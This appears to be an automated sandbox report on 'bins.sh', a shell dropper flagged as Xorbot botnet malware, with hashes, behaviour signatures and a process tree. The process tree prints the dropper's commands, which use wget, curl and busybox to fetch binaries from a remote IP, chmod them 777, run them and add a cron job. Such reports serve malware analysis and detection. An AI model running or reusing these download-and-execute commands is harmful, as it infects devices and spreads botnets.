Analysis
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max time kernel
150s -
max time network
156s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
11/12/2024, 13:31
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
36919a182f443f4206a37203f13e5293
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SHA1
b572eec4875252ec165d92efa9c9b40355b1812c
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SHA256
aecb960f575b667757b6f5d9f6a660c1ed71478bc83f32f4b53fe8c9ffd8ade2
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SHA512
f4d9911ed7932fabcf0bef861bb72309ff52deddc97da5aff96dc45773bf9c01f9e5cf3ccf1bd73f3cdd1dd9e08942b28d03090af8713b3df29fe65ed42ec21f
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SSDEEP
192:TDuJqwwpI/00tsJWqLLefXU4nj747v+H11w9ZH00tsfLLYHU4Nj747vo11w9Z9yF:TDhWqLLefnVLLYWa
Malware Config
Signatures
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resource yara_rule behavioral3/files/fstream-1.dat family_xorbot behavioral3/files/fstream-3.dat family_xorbot behavioral3/files/fstream-5.dat family_xorbot behavioral3/files/fstream-7.dat family_xorbot behavioral3/files/fstream-14.dat family_xorbot -
Xorbot family
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Contacts a large (1385) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 6 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 735 chmod 744 chmod 772 chmod 798 chmod 812 chmod 906 chmod -
Executes dropped EXE 6 IoCs
ioc pid Process /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83 736 xQELCBMc3oaBzeqxQzdopUkVJt075oOm83 /tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N 746 vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N /tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM 773 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM /tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx 799 qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx /tmp/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem 813 iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem /tmp/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW 907 crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW -
Renames itself 1 IoCs
pid Process 814 iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.STFG3T crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/1219/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/373/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/819/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/852/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1024/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1154/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/473/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/953/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/836/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/892/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1153/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1216/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/948/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/987/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1033/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1034/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1068/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1201/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/950/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/828/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/848/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1141/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1180/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/70/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/216/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1018/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1203/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/filesystems crontab File opened for reading /proc/2/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/830/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/978/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/907/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1224/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1058/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/880/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/889/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/976/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1223/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1086/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1094/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1149/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1150/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/703/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/824/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/891/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/996/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1184/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1215/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/814/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/839/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/11/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/807/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/903/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1208/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1001/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1066/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1108/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/924/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/939/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/997/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1031/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1167/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/818/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem File opened for reading /proc/1005/cmdline iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem -
Writes file to tmp directory 16 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem busybox File opened for modification /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83 wget File opened for modification /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83 curl File opened for modification /tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N curl File opened for modification /tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N busybox File opened for modification /tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx curl File opened for modification /tmp/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem curl File opened for modification /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83 busybox File opened for modification /tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM busybox File opened for modification /tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx wget File opened for modification /tmp/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW busybox File opened for modification /tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N wget File opened for modification /tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM wget File opened for modification /tmp/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem wget File opened for modification /tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM curl File opened for modification /tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:704
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/bin/rm/bin/rm bins.sh2⤵PID:711
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/usr/bin/wgetwget http://37.44.238.68/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm832⤵
- Writes file to tmp directory
PID:713
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/usr/bin/curlcurl -O http://37.44.238.68/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm832⤵
- Writes file to tmp directory
PID:720
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/bin/busybox/bin/busybox wget http://37.44.238.68/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm832⤵
- Writes file to tmp directory
PID:733
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/bin/chmodchmod 777 xQELCBMc3oaBzeqxQzdopUkVJt075oOm832⤵
- File and Directory Permissions Modification
PID:735
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/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83./xQELCBMc3oaBzeqxQzdopUkVJt075oOm832⤵
- Executes dropped EXE
PID:736
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/bin/rmrm xQELCBMc3oaBzeqxQzdopUkVJt075oOm832⤵PID:738
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/usr/bin/wgetwget http://37.44.238.68/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N2⤵
- Writes file to tmp directory
PID:739
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/usr/bin/curlcurl -O http://37.44.238.68/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N2⤵
- Writes file to tmp directory
PID:741
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/bin/busybox/bin/busybox wget http://37.44.238.68/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N2⤵
- Writes file to tmp directory
PID:742
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/bin/chmodchmod 777 vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N2⤵
- File and Directory Permissions Modification
PID:744
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/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N./vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N2⤵
- Executes dropped EXE
PID:746
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/bin/rmrm vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N2⤵PID:748
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/usr/bin/wgetwget http://37.44.238.68/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM2⤵
- Writes file to tmp directory
PID:749
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/usr/bin/curlcurl -O http://37.44.238.68/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM2⤵
- Writes file to tmp directory
PID:760
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/bin/busybox/bin/busybox wget http://37.44.238.68/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM2⤵
- Writes file to tmp directory
PID:769
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/bin/chmodchmod 777 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM2⤵
- File and Directory Permissions Modification
PID:772
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/tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM./9Qo5P2seQeVtK8clckeaGppjpDstiV1egM2⤵
- Executes dropped EXE
PID:773
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/bin/rmrm 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM2⤵PID:776
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/usr/bin/wgetwget http://37.44.238.68/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx2⤵
- Writes file to tmp directory
PID:777
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/usr/bin/curlcurl -O http://37.44.238.68/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx2⤵
- Writes file to tmp directory
PID:784
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/bin/busybox/bin/busybox wget http://37.44.238.68/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx2⤵
- Writes file to tmp directory
PID:793
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/bin/chmodchmod 777 qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx2⤵
- File and Directory Permissions Modification
PID:798
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/tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx./qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx2⤵
- Executes dropped EXE
PID:799
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/bin/rmrm qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx2⤵PID:803
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/usr/bin/wgetwget http://37.44.238.68/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem2⤵
- Writes file to tmp directory
PID:804
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/usr/bin/curlcurl -O http://37.44.238.68/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem2⤵
- Writes file to tmp directory
PID:809
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/bin/busybox/bin/busybox wget http://37.44.238.68/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem2⤵
- Writes file to tmp directory
PID:811
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/bin/chmodchmod 777 iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem2⤵
- File and Directory Permissions Modification
PID:812
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/tmp/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem./iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:813 -
/bin/shsh -c "crontab -l"3⤵PID:815
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
PID:816
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/bin/shsh -c "crontab -"3⤵PID:817
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:818
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/bin/rmrm iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem2⤵PID:820
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/usr/bin/wgetwget http://37.44.238.68/bins/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW2⤵PID:889
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/usr/bin/curlcurl -O http://37.44.238.68/bins/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW2⤵PID:904
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/bin/busybox/bin/busybox wget http://37.44.238.68/bins/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW2⤵
- Writes file to tmp directory
PID:905
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/bin/chmodchmod 777 crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW2⤵
- File and Directory Permissions Modification
PID:906
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/tmp/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW./crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW2⤵
- Executes dropped EXE
PID:907
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/bin/rmrm crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW2⤵PID:908
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/usr/bin/wgetwget http://37.44.238.68/bins/l2f4RZG1hDJfIuKQRVcNTVmTpJrCJY0lJC2⤵PID:909
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/usr/bin/curlcurl -O http://37.44.238.68/bins/l2f4RZG1hDJfIuKQRVcNTVmTpJrCJY0lJC2⤵PID:910
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
117KB
MD5849fa04ef88a8e8de32cb2e8538de5fe
SHA1c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA2568bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
SHA5122d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
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Filesize
111KB
MD5701e7a55a4f3650f5feee92a9860e5fc
SHA16ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA256ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
SHA5127352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
111KB
MD5ca897a38f23ec23521ce0b1b83f8422d
SHA1b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA256043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
SHA51210d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
210B
MD5313e9946bc198c9323f6421a1771114e
SHA1b70944f21ee5a5120c8146736db9e7daea55048c
SHA256764a7e0c5fb9a4e5adff18749e283f2cf6108f83ad81f68d78e69b32beb27966
SHA5127aa67d068164994b6597d3059f855d83a748cc04efad24f73862d12faf9fc1a470ced29910c164731eb2cf8125f09e03579e789f543f3e3efeb768f3065d90d8